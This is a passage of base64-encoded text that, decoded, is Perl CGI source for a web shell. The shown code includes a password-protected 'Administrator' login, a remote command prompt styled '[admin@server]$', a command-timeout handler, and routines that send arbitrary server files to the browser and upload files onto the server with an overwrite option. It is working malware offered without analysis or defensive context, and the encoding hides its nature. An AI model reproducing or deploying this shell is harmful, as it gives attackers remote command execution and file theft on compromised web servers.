Q+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQo